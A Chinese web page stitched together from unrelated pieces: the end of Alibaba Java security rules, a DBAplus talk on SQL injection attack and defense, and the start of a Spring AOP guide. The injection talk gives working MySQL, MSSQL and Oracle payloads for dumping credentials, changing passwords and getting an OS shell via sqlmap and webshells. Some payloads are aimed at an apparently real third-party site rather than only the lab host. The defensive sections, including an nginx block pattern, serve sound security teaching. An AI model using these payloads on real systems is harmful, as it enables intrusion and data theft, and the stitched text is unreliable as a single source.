forgery)跨站请求伪造是一类常见编程漏洞。对于存在 CSRF漏洞的应用/网站,攻击者可以事先构造好 URL,只要受害者用户一访问,后台便在用户不知情情况下对数据库中用户参数进行相应修改。7. 【强制】 URL 外部重定向传入的目标地址必须执行白名单过滤。正例:try {if (com.alibaba.fasttext.sec.url.CheckSafeUrl.getDefaultInstance().inWhiteList(targetUrl)){response.sendRedirect(targetUrl);}} catch (IOException e) {logger.error("Check returnURL error! targetURL=" + targetURL, e);throw e;8. 【强制】 Web 应用必须正确配置 Robots 文件,非 SEO URL 必须配置为禁止爬虫访问。User-agent: * Disallow: /9. 【强制】在使用平台资源,譬如短信、邮件、电话、下单、支付,必须实现正确的防重放限制,如数量限制、疲劳度控制、验证码校验,避免被滥刷、资损。说明: 如注册时发送验证码到手机,如果没有限制次数和频率,那么可以利用此功能骚扰到其它用户,并造成短信平台资源浪费。10.【推荐】发贴、评论、发送即时消息等用户生成内容的场景必须实现防刷、文本内容违禁词过滤等风控策略。
PS: (阿里巴巴 JAVA 开发手册.pdf 的 免费下载地址:http://download.csdn.net/detail/qq446282412/9735132)
《阿里巴巴Java开发手册》 V1.2.0 版本 免费下载地址: http://download.csdn.net/detail/qq446282412/9849406
作者:欧阳鹏 欢迎转载,与人分享是进步的源泉!
转载请保留原文地址:
http://blog.csdn.net/ouyang_peng/article/details/54347261
永不落幕的数据库注入攻防战
本文根据DBAplus社群第98期线上分享整理而成。
讲师介绍
主题简介:
1、数据库有什么安全问题
2、何为数据库注入
3、数据库注入攻击实战
4、为什么会发生数据库注入
5、数据库注入攻击防御
记得以前有人说过,对于一家软件公司来说,最重要的不是它的办公楼,也不是它的股票,而是代码。代码这东西,说到底就是一堆数据。这话不假,但是不仅仅这样,对于一家企业来说,它的用户数据也是最重要的几个之一。在座各位想必多为DBA或者数据分析相关岗位的同学,关于数据对企业的重要性,应该理解很深刻了。
那么,换一个角度,如果站在用户角度,数据对他们而言,更是要害。从以前的“艳照门”、“电信诈骗”,到现在的“50亿条公民信息泄露”,数据泄漏每天都在发生着。所以,不管是谁,不管站在企业还是用户角度,保护数据安全是重中之重。今天的主题——数据库注入攻防,就属于数据安全这个领域的问题。
一、数据库能有什么安全问题?
1、那些年泄漏的数据
说起数据库存在的安全问题,大家必定会想到很多答案,可能因暴露外网被攻击,可能因架构或网络原因破坏数据一致性,可能因备份还原机制不可用丢数据。
但对于企业、用户来说,数据泄漏却是一个特别突出的问题。这里贴一张图。如图1,过去10年,中国互联网泄漏了10亿多条用户信息,不过跟最新泄漏的“50亿条公民信息”相比,简直小巫见大巫。现在这些数据库在互联网上早就传了一遍,网上很多“社工库”的数据,如图2,就是从这里来的。但还有很多是不公开的,还在地下买卖,恐怕我们现在知道的数据泄漏只是冰山一角。
图1
图2
2、泄漏的数据哪来的?
那么,这些数据是怎么泄漏的?根据搜狐网上的一些报道,我按类型整理了大概有6种途径,分成用户提供和不法分子利用2个大类,占比大概如图3所示。
图3
(1)用户提供
首先,用户随意连接免费WIFI或者扫描二维码会被盗取个人信息;此外,手机、电脑等终端感染病毒等恶意软件,也会造成个人信息被窃取。但这些都是因为用户自己的主动行为引起的。
(2)不法分子利用
这种主要是包括黑客在内的不法分子主动获取造成。比如:掌握了信息的公司、机构员工主动倒卖信息;
黑客利用网站漏洞入侵数据库,换句话说,这就是数据库注入引发的一个个血案;
用户密码简单,“一套密码走天下”,结果黑客通过“撞库”等间接方式也获取了用户帐号密码;
个人身份信息保管不当被利用,比如身份证复印件乱丢,轻易相信网购优惠填写身份证、银行卡信息,从而造成信息泄漏。
今天,我们将从原理、攻防等方面去剖析数据库注入。
二、何为数据库注入
1、原理
通过把恶意 SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,从而欺骗服务器执行恶意的SQL命令,而不是按照设计者意图去执行SQL语句。从图4可以看到,正常用户输入的是自己的账号密码,但攻击者不会按开发者想法来,他会用各种畸形输入来测试。比如图4就是传说中的“万能密码”,10年前,很多网站倒在它面前,就是因为完全信任用户输入。
图4
2、有什么危害
非法读取、篡改、添加、删除数据库中的数据
盗取用户的各类敏感信息,获取利益
通过修改数据库来修改网页上的内容
私自添加或删除账号
注入木马等等
看起来数据库注入的危害可不止信息泄漏,破坏数据库数据和进一步入侵也是入侵题中的应有之义。
跟其他的Web攻击如XSS/CSRF/SSRF之类比有什么不同?
危害最大。根据OWASP(Open Web Application Security Project)2013年安全报告,如图5,数据库注入是最严重的Web安全问题。
图5
直接攻击数据库,而数据是最敏感的。容易被深度利用,造成威胁扩散。刚才上面也提到,数据库注入可以用来传播木马,甚至控制服务器,想象空间很大。
三、数据库注入攻击实战
在网络安全行业有一句话,“未知攻,焉知防”。所以我们要理解数据库注入,想做好防御措施,必须先看看它是怎么攻击数据库的。
1、利用思路
攻击一般可以采用手工和自动化工具两种方式,各有千秋。
手工:
繁琐、效率低;灵活、能够根据站点防护措施随时调整攻击思路。
工具:
效率高、批量自动挖掘;但是容易被WAF(Web防火墙)识别、模式相对单一,不够灵活。但还是事在人为,工具可以跟人一样聪明,下面我们就利用神器让注入“飞起来”吧。
主要会用到下面几款工具。
Nmap:社区最著名端口扫描工具。
AWVS:商业级Web漏洞扫描工具,准确率和效率名列漏扫工具Top3。
sqlmap.py:全自动SQL注入工具,神器之“神”。
NoSQLMap.py:sqlmap的NoSQL版本,支持MongoDB等。
webshell:Web木马,攻城掠地不可或缺。
2、渗透测试环境
要知道,在欧美,扫描别人网站可能违法,更别说入侵网站了。同理,我们的测试,也仅使用模拟环境。下面有很多Web渗透的模拟环境,部署起来非常简单。
https://github.com/ethicalhack3r/DVWA
https://github.com/WebGoat/WebGoat
https://github.com/Audi-1/sqli-labs
https://hack.me/t/SQLi
https://github.com/davevs/dvxte
https://github.com/rapid7/metasploitable3
3、全景图
在开始测试前,先整理一遍思路。通常渗透测试会遵循:信息采集、入口发现、入口测试、获取webshell、提权等步骤。下面大概介绍下每个环节需要做的事情。
收集信息:通过端口扫描工具、搜索引擎或者目录爆破工具收集敏感信息或者端口开放信息,以便作为测试入口。
注入:一般说是入口发现,我们这次是Web站点存在SQL注入,然后通过手工尝试PoC(漏洞验证payload)或者自动化工具测试,一旦发现SQL注入点,立马开始遍历数据库,俗称“脱库”。但是,别忘了世纪佳缘白帽子事件,殷鉴不远啊。
Getshell:基于SQL注入上传木马,获取服务器控制权限。
提权:基于已有的普通用户权限,利用系统内核漏洞或者应用漏洞,将自己升级到root用户。
进阶:思路足够广,要多深入就有多深入。
4、发现漏洞
nmap -p1-65535 192.168.115.131
发现开放tcp/80端口,为Web服务,手工验证注入入口。
发现http://192.168.115.181/cat.php?id=1存在SQL注入。使用AWVS进行进一步验证,如图6。
图6
5、脱库
使用sqlmap全自动脱库,扫出数据库、表名、列等信息。
图7
6、Getshell
也是使用sqlmap直接在SQL Shell里写文件,当然也可以切换到--os-shell获取操作系统shell直接执行系统命令,如图8。
图8
这里科普一下传说中的“一句话木马”、“小马”、“大马”。“一句话木马”就是将接收任意字符进行执行的PHP/ASP/JSP文件,通常只有几行,甚至只有一行;“小马”就是“一句话木马”或者功能比较简单的Web木马,“大马”就是功能齐全的Web木马,比如图8所示,可以管理文件、数据库、执行系统命令、端口扫描甚至端口转发。
7、提权
从普通用户变成root用户。这个需要利用操作系统内核版本漏洞,所幸该内核版本(图9)很低,真找到了内核exp(图10),顺利提权。
图9
图10
8、进阶利用
提完权就算了?没这么简单,如果处于攻击目的,实际上可做的事情太多了。
内网漫游:一般数据库都放在内网,我们都知道企业内网很多“宝藏”,各种空口令、弱密码、目录遍历,随便扫一下就大丰收了,如图11。
流量劫持:ARP攻击、SSL流量劫持、抓包上传甚至攻击域控服务器等等,都深入到这程度,真没什么做不到的。
DDoS肉鸡:控制被入侵机器去攻击别人,当你发现某台服务器出向流量异常高就该担心了,如图12。
远控:监控机器,比如键盘记录、用户命令记录等等。
图11
图12
刚才完整介绍了一个自动SQL注入攻击的过程,可能大家觉得还是不够过瘾,因为一路只看我在使用工具,连畸形SQL语句都没看到,所以下面大概介绍一下针对MySQL、msSQL、Oracle等主流关系型数据库的手工注入。
MySQL
图13
http://192.168.115.131/cat.php?id=1'
直接在参数后面跟上’,或者\,如果没有合理过滤,是会报语法错误的,不信你看看图13。
http://192.168.115.131/cat.php?id=1%20and%201=2%20union%20select%201,user(),3,4
然后开始试探数据库字段数、当前用户,如图14。
图14
http://192.168.115.131/cat.php?id=1 and (select * from (select(sleep(5)))lsrk)
http://192.168.115.131/cat.php?id=1%20UNION%20
SELECT%201,concat(login,%27:%27,password),3,4%20FROM%20users;’
接下来是用来测试是否存在基于时间的盲注和查询数据库管理员帐号密码的,拿到root账号后可以去网上破解。
msSQL 这个思路跟MySQL一样,只是需要msSQL的注释符和MySQL有所不同,前者支持--,后者支持#,如图15。
http://www.aquaservices.co.in/authorprofile.asp?id=13 order by 100--
Here comes the error : The order by position number 100 is out of range of the number of items
图15
http://www.aquaservices.co.in/authorprofile.asp?id=13 and 0=1 Union All Select 1,@@version,3,4,5,6,db_name(),8--
http://www.aquaservices.co.in/authorprofile.asp?id=13;exec master.dbo.sp_password null,password,username;–
这里还可以执行存储过程master.dbo.sp_password直接修改数据库账号密码呢。
Oracle 思路也差不多,不过语法上稍微复杂点,如果语法不太熟,有个技巧,可以用sqlmap去跑PoC,如图16,按照提醒去构造畸形输入。
获取数据库版本信息
and 1=2 union select null,null,(select banner from sys.v_$version where rownum=1) from dual
开始爆库
and 1=2 union select null,null,(select owner from all_tables where rownum=1) from dual
and 1=2 union select null,null,(select owner from all_table where rownum=1 and owner<>'第
一个库名') from dual
and 1=2 union select null,null,(select table_name from user_tables where rownum=1) from
Dual
图16
MongoDB 上面讲的都是关系型数据库,非关系型数据库MongoDB这些是不是就安全了?不是的,如图17,密码还是明文保存的呢。
图17
四、为什么会发生数据库注入
经过上面数据库注入的攻击测试,相信大家再也不会心怀侥幸了,因为攻击成本很低,不是吗?那么,总结一下我们看到的,数据库注入发生的原因是什么?
1、透过现象看本质
SQL注入可以分为平台层注入和代码层注入。
前者由不安全的数据库配置或数据库平台的漏洞所致;
①不安全的数据库配置;②数据库平台存在漏洞;
后者由于开发对输入未进行细致过滤,从而执行非法数据查询。
①不当的类型处理;
②不合理的查询集处理;③不当的错误处理;
④转义字符处理不合适;⑤多个提交处理不当。
2、代码
首先,“信任,过犹不及”。很多时候,我们一直强调,站在开发者角度,用户是不可信任的,未过滤或验证用户输入以及输出数据,就是给自己挖坑。比如下面这个:
$username = "aaa";
$pwd = "fdsafda' or '1'='1";
$sql = "SELECT * FROM table WHERE username = '{$username}' AND pwd = '{$pwd}'";
echo $sql; //输出 SELECT * FROM table WHERE username = 'aaa' AND pwd = 'fdsafda' or '1'='1'
?>
传说中的“万能密码”利用的后台代码差不多就是这个渣样。当然,现在几乎不可能存在了,因为人总是会吸取教训的,各种安全开发的理念还是逐渐深入人心了。
3、数据库
站在运维角度,数据库注入中的运维“三宗罪”分别是:
(1)空密码/弱密码。“空,那么空”,我耳朵里突然想起来金志文的《空城》。
mysql> select user,host,password from mysql.user;
+------+-----------+----------+
| user | host | password |
+------+-----------+----------+
| root | localhost | |
| root | 127.0.0.1 | |
| root | ::1 | |
(2)外网开放。数据库开放外网,还不改端口(改了也没用,因为现在都是全端口扫描的),这不是找抽吗?
iptables-save | grep 3306
-A INPUT -p tcp -m tcp --dport 3306 -j ACCEPT
(3)用户权限控制不当。按照最小权限原则,只给账号需要的最小权限即可。
mysql> show grants for gs@101.101.101.101;
+-----------------------------------------------+
| Grants for gs@101.101.101.101;
+-----------------------------------------------+
| GRANT ALL PRIVILEGES ON `gameserver`.* TO 'wscs_gs'@'101.101.101.101'
五、数据库注入攻击防御
上文已介绍了数据库注入的原因和形式,下文将从代码、数据库、Web Server和数据分析四个层面介绍如何防御数据库注入攻击。
1、代码
SDL(Security Develop Lifecircle):软件开发应当遵循“安全开发生命周期”,软件测试需要增加安全测试的白盒与黑盒测试。
用户是不可信的:输入输出都应当被过滤,至少应满足以下4个编码规则。
对用户的输入进行校验,可以通过正则表达式,或限制长度;对单引号和 双"-"进行转换等。
不要使用动态拼装SQL,可以使用参数化的sql或者直接使用存储过程进行数据查询存取。
不要把机密信息明文存放,加密或者hash掉密码和敏感的信息。
应用的异常信息应该给出尽可能少的提示,最好使用自定义的错误信息对原始错误信息进行封装。
下面我针对PHP和Pyth的反SQL注入讲2个例子,因为平时用的比较多的是ThinkPHP和Flask这2个Web框架。
PHP
where方法使用字符串条件的时候,支持预处理(安全过滤)。
$Model->where("id=%d and username='%s' and xx='%f'",array($id,$username,$xx))->select();
模型的Query和execute方法 同样支持预处理机制,例如:
$model->query('select * from user where id=%d and status=%d',$id,$status);
Python
cur=db.cursor()
sql = "INSERT INTO test2(cid, author, content) VALUES (%s, %s, %s)" #使用%s而不是'%s'
sql=sql%('2','2','bb')
cur.execute(sql,())
2、数据库
从架构和运维两方面谈谈如何在数据库层面进行防御。
(1)架构
首先是架构层面,处于性能和安全考虑,可以在数据库集群与Web Server等前端中间增加DBProxy的中间件,比如Batis或者MyCat。
DB-Proxy Batis MyCat
如图18所示,MyCat中实现了MySQL的预处理协议,可以接收预处理命令的处理。当使用预处理查询,也可以返回正确的二进制结果集包,通过这个预处理,可以实现对SQL注入的过滤和拦截。
图18
开源SQL检测、阻断系统 Druid-SQL-Wall
Druid提供了WallFilter,基于SQL语义分析来实现防御SQL注入攻击。
(2)运维
然后是运维层面,可以在进程管理、用户授权、端口开放等方面进行攻击缓解甚至遏制。
进程启动用户
mysql 23400 22671 0 Mar19 ? 00:13:25 /usr/sbin/mysqld --basedir=/home/mysql --datadir=/home/mysql --plugin-dir=/usr/lib/mysql/plugin --user=mysql --open-files-limit=8192 --pid-file=/var/run/mysqld/mysqld.pid --socket=/var/run/mysqld/mysqld.sock --port=3306
数据库用户授权
mysql> show grants for gs@101.101.101.101;
| GRANT SELECT,INSERT,DELETE,UPDATE,USAGE PRIVILEGES ON `gameserver`.* TO 'gs'@'10.10.10.10' BY PASSWORD '*89DCA7B59FD064E3A478xxxxxxxxxF272E7E'
iptables
-A INPUT -p tcp -m tcp --dport 3306 -j MYSQL
-A MYSQL -p tcp -m tcp --dport 3306 -j REJECT --reject-with icmp-port-unreachable
3、Web Server
接下来,除了前面讲的代码、数据库层面进行数据库注入的防御,其实如果有Web前端,一般还是可以在Web Server层面进行拦截,实现一个多层次的、立体的防护体系。
下面将介绍Web Server配置、Web防火墙两方面的防御思路。
配置,配置,还是配置
在Web Server的vhost设置查询字符串过滤,一旦用户提交的字符串存在安全隐患,就会直接进行拦截。由于这个匹配度很高,误杀可能性很低,不过在业务量比较大的情况下,会损耗Web Server一定性能。
server {
set $block_sql_injections 0;
if ($query_string ~ “union.*select.*(“) {
set $block_sql_injections 1;
}
if ($query_string ~ “union.*all.*select.*”) {
set $block_sql_injections 1;
}
if ($query_string ~ “concat.*(“) {
set $block_sql_injections 1;
}
if ($block_sql_injections = 1) {
return 444;
}
WAF
全称是Web Application Firewall,跟Web Server耦合度很高,一般是作为Web Server的插件编译安装进去,常见的方案有下面几种:
tengine_waf:基于Nginx二次开发的Tengine的WAF模块。
Nginx+Sysguard:Nginx定制版WAF
Nginx+HTTPGuard:Nginx定制版WAF
Apache+Mod_security:Mod_security其实支持Apache和Nginx,原生的支持Apache,是很通用的一种方案。
一般WAF支持的功能是在以下层面进行匹配、过滤。
user-agent 匹配拦截恶意的user-agent
url 匹配拦截恶意的网页路径
args 匹配拦截恶意的GET请求参数
POST 匹配拦截恶意的POST请求参数
Cookie 匹配拦截恶意的Cookie 请求
whitetip IP白名单
whiteurl 网页路径白名单
blockip IP黑名单
4、日志分析
在海量的Web Server access.log中分析匹配攻击模型,从中发现SQL注入或者GetShell的敏感语句。
比如下面这个wordpress的攻击日志,通过报错或者’\’敏感字符发现报警:
[07-Dec-2016 02:40:49] WordPress database error You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'WHERE id = -1\'' at line 1 for query SELECT text, author_id, date FROM WHERE id = -1\'
现在通过日志大数据做安全防御的方案有这么几种:
实时检索:ELK,实时查询性能很好,也有自己的访问控制机制,需要定制。
离线分析:Hadoop,利用MapReduce等算法进行模型定制、分析、输出报告,方案参考。
流处理:Storm+Spark,实时性能好,可以用作实时风控系统。
图19
总结
数据库注入其实只是安全攻防的一个小小的领域,但因为涉及到企业、用户数据,所以需要列入重点关注。但我们知道,道高一尺魔高一丈,在利益的驱使下攻击不会停止,我们的防护也不会停止,这场攻防之战永不落幕。
参考资料
社工库问答 https://www.zhihu.com/question/22827473
个人信息泄漏源
http://business.sohu.com/20160917/n468557286.shtml
SQL注入基础
http://blog.csdn.net/pan_cras/article/details/52168448
SQL注入原理
http://blog.csdn.net/stilling2006/article/details/8526458/
Q&A Q1:开发学这个sqlmap,使用上有哪些难点?手册中文版的么?
A1:如果不是基于sqlmap做二次开发,sqlmap学习门槛很低,只需要对照官方手册(有中文版,安装包的doc/translations/README-zh-CN.md)操作即可,就跟学习普通的Linux系统命令一样简单。如果开发同学想基于sqlmap做二次开发,难点主要在理解Sqlmap的整体框架,它在软件工程上被推崇备至,就是因为在设计思想、性能处理上非常值得学习。此外,还可以自定义一些Tamper文件用于绕过服务端过滤,这个比较简单,主要是字符转换。sqlmap的学习手册可以参考:http://www.secbox.cn/hacker/6311.html。
Q2:攻击工具常用的有哪些?
A2:不同类型的攻击常用工具都不同,这个回答起来太泛了。这里我们单纯讲数据库注入需要用到的,信息收集通常使用nmap扫描开放端口、御剑扫描网站目录,漏洞发现通常基于信息收集使用AWVS或者OpenVas进行Web或系统漏洞扫描,如果发现SQL注入,则分别使用sqlmap、Pangolin(穿山甲)等工具进行自动渗透,然后再基于漏洞点的权限决定是通过后台上传还是直接写一句话使木马到站点,之后,使用中国菜刀(一句话木马连接工具)连接,再往后的攻击主要靠思路,没什么现成工具。
Q3:WAF可以检测到SQL注入的行为吗?
A3:可以。像HTTPGuard或者tengine_waf都支持SQL注入行为发现,主要原理也是依据正则表达式匹配,然后通过输出的log来报警。
Q4:请问有什么好的相关书籍或者资料推荐,系统学习安全方面的知识
A4:1.建议先从Web安全入门,推荐《白帽子讲Web安全》,同时学习Linux系统基础知识,推荐《跟阿铭学linux》。2.学习系统安全相关知识。资料可以参考别人整理的Github上安全知识仓库:http://www.uedbox.com/github-security-repo-collection/;以及知乎上面的专栏文章:https://zhuanlan.zhihu.com/p/25661457。
Q5:市场上有什么防数据库注入的解决方案吗?
A5:没有单独的防数据库注入的产品或者商业方案,一般作为入侵检测系统的子功能,或者Web站点安全防护解决方案的一部分。传统安全厂商启明星辰、绿盟都有入侵检测产品,Web方面的360和安全狗用的比较多。如果是自己实现,就是本次分享提到的代码、数据库、Web Server、日志分析等几个层面的方案。
Q6:科普下肉鸡是什么?
A6:肉鸡也称傀儡机,是指可以被黑客远程控制的机器。受害者被诱导点击或者机器被黑客攻破或机器有漏洞被种植了木马,黑客借此随意操纵服机器并利用它做任何事情,比如DDoS。
Q7:可以用admin权限,上传一个1像素的木马到主页上抓肉鸡,不是更好吗?
A7:你这里说的应该是网页挂马,也是抓肉鸡的一种方式。但是要获取admin权限,作为非法用户,本身就要通过入侵去实现的。
Q8:那些搞破解的是不是专做这些事?
A8:数据库注入跟破解其实不是一个领域的问题,破解更多的是应用程序的逆向,比如破解商业软件的License之类的。
原文发布时间为:2017-04-05
本文来自云栖社区合作伙伴DBAplus
Spring 5 中文解析核心篇-IoC容器之AOP编程(上)
面向切面的编程(AOP)通过提供另一种思考程序结构的方式来补充面向对像的编程(OOP)。OOP中模块化的关键单元是类,而在AOP中模块化是切面。切面使关注点(例如事务管理)的模块化可以跨越多种类型和对象。(这种关注在AOP文献中通常被称为“跨领域”关注。)
Spring的关键组件之一是AOP框架。虽然Spring IoC容器不依赖于AOP(这意味着如果你不想使用AOP,就不需要使用AOP),但AOP对Spring IoC进行了补充,提供了一个非常强大的中间件解决方案。
具有AspectJ切入点的Spring AOP
Spring提供了使用基于schema的方法或@AspectJ注解样式来编写自定义切面的简单而强大的方法。这两种样式都提供了完全类型化的建议,并使用了AspectJ切入点语言,同时仍然使用Spring AOP进行编织。
本章讨论基于schema和基于@AspectJ的AOP支持。下一章将讨论较低级别的AOP支持。
AOP在Spring框架中用于:
提供声明式企业服务。此类服务中最重要的是声明式事务管理。
让用户实现自定义切面,并用AOP补充其对OOP的使用。
如果你只对通用声明性服务或其他预包装的声明性中间件服务(例如池)感兴趣,则无需直接使用Spring AOP,并且可以跳过本章的大部分内容。
5.1 AOP概念
让我们首先定义一些主要的AOP概念和术语。这些术语不是特定于Spring的。不幸的是,AOP术语并不是特别直观。但是,如果使用Spring自己的术语,将会更加令人困惑。
切面:涉及多个类别的关注点的模块化。事务管理是企业Java应用程序中横切关注的一个很好的例子。在Spring AOP中,切面是通过使用常规类(基于schema的方法)或使用@Aspect注解(@AspectJ样式)注释的常规类来实现的。
连接点:程序执行过程中的一点,例如方法的执行或异常的处理。在Spring AOP中,连接点始终代表方法的执行。
通知:切面在特定的连接点处采取的操作。不同类型的通知包括:“around”,“before”和“after”通知。(通知类型将在后面讨论。)包括Spring在内的许多AOP框架都将通知建模为拦截器,并在连接点周围维护一系列拦截器。
切入点:表示匹配连接点。通知与切入点表达式关联,并在与该切入点匹配的任何连接点处运行(例如,执行具有特定名称的方法)。切入点表达式匹配的连接点的概念是AOP的核心,默认情况下,Spring使用AspectJ切入点表达语言。
引入:在类型上声明其他方法或字段。Spring AOP允许你向任何通知对象引入新的接口(和相应的实现)。例如,你可以使用引入使Bean实现IsModified接口,以简化缓存。(引入在AspectJ社区中称为类型间声明。)
目标对象:一个或多个切面通知的对象。也称为“通知对象”。由于Spring AOP是使用运行时代理实现的,因此该对象始终是代理对象。
AOP代理:由AOP框架创建的对象,用于实现切面约定(通知方法执行等)。在Spring Framework中,AOP代理是JDK动态代理或CGLIB代理。
编织:将切面与其他应用程序类型或对象链接以创建通知的对象。这可以在编译时(例如,使用AspectJ编译器),加载时或在运行时完成。像其他纯Java AOP框架一样,Spring AOP在运行时执行编织。
Spring AOP包括以下类型的通知:
前置通知:在连接点之前运行但无法阻止执行流前进到连接点的通知(除非它引发异常)。
后置通知:连接点正常完成后要运行的通知(例如,如果某个方法返回而没有引发异常)。
后置异常通知:如果方法因抛出异常而退出,将执行的通知。
最终通知:无论连接点退出的方式如何(正常或异常返回),都将执行通知。
环绕通知:围绕连接点的通知,例如方法调用。这是最强大的通知。环绕通知可以在方法调用之前和之后执行自定义行为。它还负责选择是继续到连接点,还是通过返回自己的返回值或抛出异常来简化通知的方法执行。
环绕通知是最通用的通知。由于Spring AOP与AspectJ一样,提供了各种通知类型,因此我们建议你使用功能最弱的建议类型,以实现所需的行为。例如,如果你只需要使用方法的返回值更新缓存,则最好使用后置通知而不是环绕通知,尽管环绕通知可以完成相同的事情。使用最具体的通知类型可提供更简单的编程模型,并减少出错的可能性。例如,你不需要在用于环绕通知的JoinPoint上调用proceed()方法,因此,你不会失败。
所有通知参数都是静态类型的,因此你可以使用适当类型(例如,从方法执行返回的值的类型)而不是对象数组的 通知参数。
切入点匹配的连接点的概念是AOP的关键,它与仅提供拦截功能的旧技术不同。切入点使通知的目标独立于面向对象的层次结构。例如,你可以将提供声明性事务管理的环绕通知应用于跨越多个对象(例在服务层中的所有业务操作)的一组方法。
5.2 AOP能力和目标
Spring AOP是用纯Java实现的。不需要特殊的编译过程。Spring AOP不需要控制类加载器的层次结构,因此适合在Servlet容器或应用程序服务器中使用。
Spring AOP当前仅支持方法执行连接点(通知在Spring Bean上执行方法)。尽管可以在不破坏核心Spring AOP API的情况下添加对字段拦截的支持,但并未实现字段拦截。如果需要通知字段访问和更新连接点,请考虑使用诸如AspectJ之类的语言。
Spring AOP的AOP方法不同于大多数其他AOP框架。目的不是提供最完整的AOP实现(尽管Spring AOP相当强大)。相反,其目的是在AOP实现和Spring IoC之间提供紧密的集成,以帮助解决企业应用程序中的常见问题。
因此,例如,通常将Spring Framework的AOP功能与Spring IoC容器结合使用。通过使用常规bean定义语法来配置切面(尽管这允许强大的“自动代理”功能)。这是与其他AOP实现的关键区别。使用Spring AOP不能轻松或有效地完成一些事情,比如通知非常细粒度的对象(通常是域对象)。在这种情况下,AspectJ是最佳选择。但是,我们的经验是,Spring AOP为AOP可以解决的企业Java应用程序中的大多数问题提供了出色的解决方案。
Spring AOP从未努力与AspectJ竞争以提供全面的AOP解决方案。我们认为,基于代理的框架(如Spring AOP)和成熟的框架(如AspectJ)都是有价值的,它们是互补的,而不是竞争。Spring无缝地将Spring AOP和IoC与AspectJ集成在一起,以在基于Spring的一致应用程序架构中支持AOP的所有功能。这种集成不会影响Spring AOP API或AOP Alliance API。Spring AOP仍然向后兼容。请参阅下一章,以讨论Spring AOP API。
Spring框架的中心宗旨之一是非侵入性。这就是不应该强迫你将特定于框架的类和接口引入你的业务或领域模型的思想。但是,在某些地方,Spring Framework确实为你提供了将特定于Spring Framework的依赖项引入代码库的选项。提供此类选项的理由是,在某些情况下,以这种方式阅读或编码某些特定功能可能会变得更加容易。但是,Spring框架(几乎)总是为你提供选择:你可以自由地就哪个选项最适合你的特定用例或场景做出明智的决定。
与本章相关的一种选择是选择哪种AOP框架(以及哪种AOP样式)。你可以选择AspectJ和或Spring AOP。你也可以选择@AspectJ注解样式方法或Spring XML配置样式方法。本章选择首先介绍@AspectJ风格的方法,这不能表明Spring比Spring XML配置风格更喜欢@AspectJ注释风格的方法(备注:使用AspectJ编写例子不能说明Spring更喜欢AspectJ注解编程)。
有关每种样式的“来龙去脉”的更完整讨论,请参见选择要使用的AOP声明样式。
5.3 AOP代理
Spring AOP默认将标准JDK动态代理用于AOP代理。这使得可以代理任何接口(或一组接口)。
Spring AOP也可以使用CGLIB代理。这对于代理类而不是接口是必需的。默认情况下,如果业务对象未实现接口,则使用CGLIB。由于对接口而不是对类进行编程是一种好习惯,因此业务类通常实现一个或多个业务接口。在某些情况下(可能极少发生),你需要通知在接口上未声明的方法,或需要将代理对象作为具体类型传递给方法,则可以强制使用CGLIB。
掌握Spring AOP是基于代理的这一事实很重要。请参阅了解AOP代理以全面了解此实现细节的实际含义。
5.4 @AspectJ支持
@AspectJ是一种将切面声明为带有注解的常规Java类的样式。@AspectJ样式是AspectJ项目在AspectJ 5版本中引入的。Spring使用AspectJ提供的用于切入点解析和匹配的库来解释与AspectJ 5相同的注解。但是,AOP运行时仍然是纯Spring AOP,并且不依赖于AspectJ编译器或编织器。
使用AspectJ编译器和编织器可以使用完整的AspectJ语言,有关在Spring Applications中使用AspectJ进行了讨论。
5.4.1 激活@AspectJ支持
要在Spring配置中使用@AspectJ切面,你需要启用Spring支持以基于@AspectJ切面配置Spring AOP,并根据这些切面是否通知对Bean进行自动代理。通过自动代理,我们的意思是,如果Spring确定一个或多个切面通知一个bean,它会自动为该bean生成一个代理来拦截方法调用并确保按需执行通知。
可以使用XML或Java样式的配置来启用@AspectJ支持。无论哪种情况,你都需要确保AspectJ的Aspectjweaver.jar库位于应用程序的类路径(版本1.8或更高版本)上。该库在AspectJ发行版的lib目录中或从Maven Central存储库中获取。
通过Java配置激活@AspectJ
通过Java @Configuration启用@AspectJ支持,请添加@EnableAspectJAutoProxy注解,如以下示例所示:
@Configuration
@EnableAspectJAutoProxy
public class AppConfig {
}
通过XML配置激活@AspectJ
通过基于XML的配置启用@AspectJ支持,请使用<aop:aspectj-autoproxy>元素,如以下示例所示:
<aop:aspectj-autoproxy/>
假定你使用基于XML Schema的配置中所述的架构支持。有关如何在aop名称空间中导入标签的信息,请参见AOP schema。
5.4.2 声明一个切面
启用@AspectJ支持后,Spring会自动检测在应用程序上下文中使用@AspectJ切面(有@Aspect注解)的类定义的任何bean,并用于配置Spring AOP。接下来的两个示例显示了一个不太有用的切面所需的最小定义。
两个示例中的第一个示例显示了应用程序上下文中的常规bean定义,该定义指向具有@Aspect注解的bean类:
<bean id="myAspect" class="org.xyz.NotVeryUsefulAspect">
<!-- configure properties of the aspect here -->
</bean>
这两个示例中的第二个示例显示了NotVeryUsefulAspect类定义,该类定义使用org.aspectj.lang.annotation.Aspect注解进行注释;
package org.xyz;
import org.aspectj.lang.annotation.Aspect;
@Aspect
public class NotVeryUsefulAspect {
}
切面(使用@Aspect注解的类)可以具有方法和字段,与任何其他类相同。它们还可以包含切入点、通知和引入(类型间)声明。
通过组件扫描自动检测切面
你可以将切面类注册为Spring XML配置中的常规bean,也可以通过类路径扫描自动检测它们-与其他任何Spring管理的bean一样。但是,请注意,@Aspect注解不足以在类路径中进行自动检测。为此,你需要添加一个单独的@Component注解(或者,按照Spring的组件扫描程序的规则,有条件的自定义构造型注解)。
向其他切面提供通知?
在Spring AOP中,切面本身不能成为其他切面的通知目标。类上的@Aspect注解将其标记为一个切面,因此将其从自动代理中排除。
5.4.3 声明切入点
切入点确定了感兴趣的连接点,从而使我们能够控制何时执行通知。Spring AOP仅支持Spring Bean的方法执行连接点,因此你可以将切入点视为与Spring Bean上的方法执行匹配。切入点声明由两部分组成:一个包含名称和任何参数的签名,以及一个切入点表达式,该表达式精确确定我们感兴趣的方法执行。在AOP的@AspectJ注解样式中,常规方法定义提供了切入点签名,并且使用@Pointcut注解指示了切入点表达式(用作切入点签名的方法必须具有void返回类型)。一个示例可能有助于使切入点签名和切入点表达式之间的区别变得清晰。下面的示例定义一个名为anyOldTransfer的切入点,该切入点与任何名为transfer方法的执行相匹配:
@Pointcut("execution(* transfer(..))") // 切入点表达式
private void anyOldTransfer() {} // 切入点方法签名
